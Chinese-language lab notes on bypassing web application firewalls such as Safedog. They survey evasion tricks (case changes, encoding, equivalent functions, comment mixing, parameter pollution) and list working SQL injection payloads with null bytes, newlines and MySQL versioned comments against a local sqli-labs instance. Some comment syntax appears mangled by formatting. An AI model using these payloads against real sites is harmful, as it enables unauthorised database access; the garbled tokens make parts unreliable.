WAF绕过-安全狗
阿里云、云盾、宝塔、安全狗
深信服、绿盟、天融信、奇安信等等
方式
1、GET方式
2、POST方式
3、http头部-爬虫白名单
干扰字符
1、大小写
进行字母大小写绕过
2、加密
字符串加密
3、编码
url、md5,base64等几种常见的编码方式
4、等价函数
由于检测到关键字,因此无法使用某些函数或命令,但在很多情况下,我们可以使用它们的等效或类似代码
替换mid、ascii、eval等几种常见的敏感函数,来执行同样的效果,用其他函数来取代敏感函数
5、特殊符号
绕过正则表达式的匹配
+、`、~、!、@、%、()、[]、.、-、+ 、|、%00
6、注释符混用 //
类似跟特殊符号的作用
select database() = select database//()
7、参数污染
#数据库注释符
①Oracle
– 单行注释
/多行注释/
②MS SQL Server
– 单行注释
/多行注释/
③MySQL
#单行注释
– 单行注释(特别注意,– 后有个空格!!!)
/多行注释/
SQL注入绕过实验
%00 空字符
%0a 换行符
%23 #
/* /
/!/
/!44509*/
/!/!*/
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00/%23a
select 1,2,3#
#payload
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union all%23%0Aselect 1,2,3#
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00/%23a%0Aselect 1,2,3#
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00/%23a%0Aselect 1,database%23a%0A(),3#
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00/%23a%0A/!select 1,database%23x%0A(),3/#
http://192.168.80.140/sqlilabs/Less-2/?id=1/*&id=-1%20union%20select%201,2,3%23*/
参数污染:安全狗进行检测得时候,会以为后面得已经被注释了,所以不会去检测,然后由于参数污染,实际上接受得是后面得那部分&后面的语句
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union /!44509select/ 1,2,3#
http://192.168.80.140/sqlilabs/Less-2/?id=-1 union/%00//!44509select/ 1,database%23x%0A(),3#
如果在/后加惊叹号!意为/ /里的语句将被执行,在mysql中 /! …./ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!….*/中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行
参考链接:http://www.360doc.cn/mip/960801574.html?ivk_sa=1024320u